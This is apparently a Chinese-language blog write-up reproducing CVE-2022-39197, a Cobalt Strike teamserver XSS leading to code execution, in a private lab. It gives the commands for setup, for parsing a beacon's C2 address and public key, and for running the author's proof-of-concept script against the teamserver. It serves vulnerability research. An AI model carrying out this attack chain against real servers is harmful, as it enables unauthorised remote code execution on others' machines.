CVE-2022-39197(CobaltStrike XSS <=4.7)漏洞复现
最新文章更新见个人博客
漏洞说明
根据9.20日CobaltStrike官方发布的最新4.7.1版本的更新日志中介绍,<=4.7的teamserver版本存在XSS漏洞,从而可以造成RCE远程代码执行
一位名为“Beichendream”的独立研究人员联系我们,告知我们他们在团队服务器中发现的一个 XSS 漏洞。这将允许攻击者在 Beacon 配置中设置格式错误的用户名,从而允许他们远程执行代码RCE。
复现过程
根据漏洞原理,类似之前使用的cs上线器,稍微修改一下上线的payload即可。
测试环境
服务端:Ubuntu20.04+JDK11+CS4.3 (IP: 172.16.12.13)
客户端:M2 macOS Monterey 12.5 + JDK17 (IP: 172.16.12.2)
用到的工具:CobaltStrikeParser、CVE-2022-39197 POC
环境搭建
# ubuntu
chmod +x teamserver
./teamserver 172.16.12.13 haha123
# macOS--提供图片加载服务,如果联网的话可以省略该步,使用任意在线图片的url
brew install node@14
npm i --global serve
serve # 用serve在图片路径下开启服务, 此处图片文件url为:http://172.16.12.2:3000/logo.png
CS中创建一个listener监听器
然后生成一个package木马,经测试,是否勾选x64(即生成的32位和64位均可上线)不影响结果
POC使用
首先对这个生成的beacon进行分析,我们这里使用CobaltStrikeParser这个工具。
python3 parse_beacon_config.py beacon4.3_x64.exe --json
重点关注如下几个点
将Port
、C2Server
、HttpPostUri
进行拼接,这里变成:http://172.16.12.13:8080/visit.js/submit.php
,记录下来
将PublicKey
复制到一个txt
文件中,注意去除前后的空格
使用我写的POC(编写不易,麻烦加个star吧,后期会把上述分析功能集成,一站式实现)
python3 cve-2022-39197-poc.py -i http://172.16.12.2:3000/logo.png -u http://172.16.12.13:8080/visit.js/submit.php -k key.txt